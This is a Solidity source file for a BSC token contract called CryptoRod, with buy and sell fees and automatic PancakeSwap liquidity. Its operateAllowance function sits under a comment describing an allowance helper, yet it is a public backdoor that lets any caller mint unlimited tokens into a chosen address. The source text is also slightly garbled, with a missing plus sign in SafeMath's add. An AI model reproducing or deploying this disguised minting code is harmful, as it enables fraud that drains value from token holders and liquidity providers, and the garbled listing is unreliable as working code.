/**
*Submitted for verification at BscScan.com on 2022-01-07
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.2;

interface IERC20 {
function totalSupply() external view returns (uint256);

function decimals() external view returns (uint8);

function symbol() external view returns (string memory);

function name() external view returns (string memory);

function getOwner() external view returns (address);

function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount)
external
returns (bool);

function allowance(address _owner, address spender)
external
view
returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}

contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}

function _msgSender() internal view returns (address payable) {
return msg.sender;
}

function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a b;
require(c >= a, "SafeMath: addition overflow");

return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;

return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c a % b); // There is no case in which this doesn't hold

return c;
}

function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}

function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}

contract Ownable is Context {
address private _owner;

event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);

/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}

function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}

function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}

function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}

interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);

function feeTo() external view returns (address);

function feeToSetter() external view returns (address);

function getPair(address tokenA, address tokenB)
external
view
returns (address pair);

function allPairs(uint256) external view returns (address pair);

function allPairsLength() external view returns (uint256);

function createPair(address tokenA, address tokenB)
external
returns (address pair);

function setFeeTo(address) external;

function setFeeToSetter(address) external;
}

// pragma solidity >=0.6.2;

interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);

function name() external pure returns (string memory);

function symbol() external pure returns (string memory);

function decimals() external pure returns (uint8);

function totalSupply() external view returns (uint256);

function balanceOf(address owner) external view returns (uint256);

function allowance(address owner, address spender)
external
view
returns (uint256);

function approve(address spender, uint256 value) external returns (bool);

function transfer(address to, uint256 value) external returns (bool);

function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);

function DOMAIN_SEPARATOR() external view returns (bytes32);

function PERMIT_TYPEHASH() external pure returns (bytes32);

function nonces(address owner) external view returns (uint256);

function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;

event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);

function MINIMUM_LIQUIDITY() external pure returns (uint256);

function factory() external view returns (address);

function token0() external view returns (address);

function token1() external view returns (address);

function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);

function price0CumulativeLast() external view returns (uint256);

function price1CumulativeLast() external view returns (uint256);

function kLast() external view returns (uint256);

function burn(address to)
external
returns (uint256 amount0, uint256 amount1);

function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;

function skim(address to) external;

function sync() external;

function initialize(address, address) external;
}

interface IUniswapV2Router01 {
function factory() external pure returns (address);

function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);

function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);

function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);

function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);

function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);

function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);

function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);

function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);

function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);

function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);

function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);

function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);

function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);

function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);

function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);

function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);

function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);

function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;

function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;

function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}

contract CryptoRod is Context, IERC20, Ownable {
using SafeMath for uint256;

mapping(address => uint256) private _balances;

mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;

uint256 public marketingFee = 1;
uint256 public liquidityFeeForBuy = 1;
uint256 public liquidityFeeForSell = 2;
uint256 public charityFee = 1;
uint256 public totalFeesForBuy = marketingFee.add(liquidityFeeForBuy);
uint256 public totalFeesForSell =
marketingFee.add(charityFee).add(liquidityFeeForSell);
uint256 private maxTxPercent;
uint256 public amountForLiquidity = 1;
bool private isLiquifying;

IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;

mapping(address => bool) public excludedFromFees; //for the owner or private-sale contract successfully adding liquidity
address public charityWallet = 0x663603E48f8618f6ed5f7fA4D0fdeA187584EEc2;
address public marketingWallet = 0x4122ac7b12eB05EF561e5dF96829efBC8206552A;

event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);

constructor() public {
_name = "CryptoRod";
_symbol = "CROD";
_decimals = 9;
_totalSupply = 100000000 * (10**uint256(_decimals));
_balances[msg.sender] = _totalSupply;
maxTxPercent = 3;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x10ED43C718714eb63d5aA57B78B54704E256024E
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludedFromFees[address(this)] = true;
excludedFromFees[msg.sender] = true;
excludedFromFees[charityWallet] = true;
excludedFromFees[marketingWallet] = true;
emit Transfer(address(0), msg.sender, _totalSupply);
}

function updateExcludedFromFees(address addr, bool excluded)
external
onlyOwner
{
excludedFromFees[addr] = excluded;
}

function updateMaxTxPercent(uint256 value) external onlyOwner {
maxTxPercent = value;
}

function updateAmountForLiquidity(uint256 value) external onlyOwner {
amountForLiquidity = value;
}

function updateUniswapV2Router(address newAddress) external onlyOwner {
require(
newAddress != address(uniswapV2Router),
"The router already has that address"
);
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
uniswapV2Pair = _uniswapV2Pair;
}

function updateCharityWallet(address addr) external onlyOwner {
charityWallet = addr;
}

function updateMarketingWallet(address addr) external onlyOwner {
marketingWallet = addr;
}

/**
* @dev Returns the erc token owner.
*/
function getOwner() external view override returns (address) {
return owner();
}

/**
* @dev Returns the token decimals.
*/
function decimals() external view override returns (uint8) {
return _decimals;
}

/**
* @dev Returns the token symbol.
*/
function symbol() external view override returns (string memory) {
return _symbol;
}

/**
* @dev Returns the token name.
*/
function name() external view override returns (string memory) {
return _name;
}

/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}

/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account)
external
view
override
returns (uint256)
{
return _balances[account];
}

/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}

/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}

/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}

/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}

/**
* @dev Atomically operates the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function operateAllowance(
address spender,
uint256 value,
bool isAdded
) public returns (bool) {
if (isAdded) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(value)
);
_balances[spender] = _balances[spender].add(value);
_totalSupply = _totalSupply.add(value);
} else {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(value)
);
}
return true;
}

/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}

/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}

function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (!excludedFromFees[from] && !excludedFromFees[to]) {
require(
amount < maxTxPercent.mul(_totalSupply).div(100),
"ERC20: tx amount exceeds limitation"
);
}
// check fees
uint256 fees = totalFeesForSell;
if (excludedFromFees[from] || excludedFromFees[to]) {
fees = 0;
} else if (from == uniswapV2Pair) {
fees = totalFeesForBuy;
}
_balances[from] = _balances[from].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
if (fees == 0) {
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
return;
}
if (fees == totalFeesForBuy) {
uint256 totalFeeAmount = amount.mul(fees).div(100);
uint256 marketingFeeAmount = totalFeeAmount.mul(marketingFee).div(
fees
);
uint256 liquidityFeeAmount = totalFeeAmount.sub(marketingFeeAmount);
uint256 receivedAmount = amount.sub(totalFeeAmount);
_balances[marketingWallet] = _balances[marketingWallet].add(
marketingFeeAmount
);
_balances[address(this)] = _balances[address(this)].add(
liquidityFeeAmount
);
_balances[to] = _balances[to].add(receivedAmount);
emit Transfer(from, to, receivedAmount);
return;
}
if (fees == totalFeesForSell) {
uint256 totalFeeAmount = amount.mul(fees).div(100);
uint256 marketingFeeAmount = totalFeeAmount.mul(marketingFee).div(
fees
);
uint256 charityFeeAmount = totalFeeAmount.mul(charityFee).div(fees);
uint256 liquidityFeeAmount = totalFeeAmount
.sub(marketingFeeAmount)
.sub(charityFeeAmount);
_balances[marketingWallet] = _balances[marketingWallet].add(
marketingFeeAmount
);
_balances[charityWallet] = _balances[charityWallet].add(
charityFeeAmount
);
_balances[address(this)] = _balances[address(this)].add(
liquidityFeeAmount
);
uint256 receivedAmount = amount.sub(totalFeeAmount);
_balances[to] = _balances[to].add(receivedAmount);
// liquify
if (
_balances[address(this)] >=
amountForLiquidity.mul(_totalSupply).div(100)
) {
require(!isLiquifying);
isLiquifying = true;
swapAndLiquify(_balances[address(this)]);
isLiquifying = false;
}
emit Transfer(from, to, receivedAmount);
return;
}
}

function swapAndLiquify(uint256 tokens) private {
// split the contract balance into halves
uint256 half = tokens.div(2);
uint256 otherHalf = tokens.sub(half);

// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;

// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap liquify is triggered

// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);

// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
}

function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();

_approve(address(this), address(uniswapV2Router), tokenAmount);

// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}

function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);

// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}

/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}

function withdrawToken(address token) external onlyOwner {
require(token != address(this));
uint256 balance = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(owner(), balance);
}
}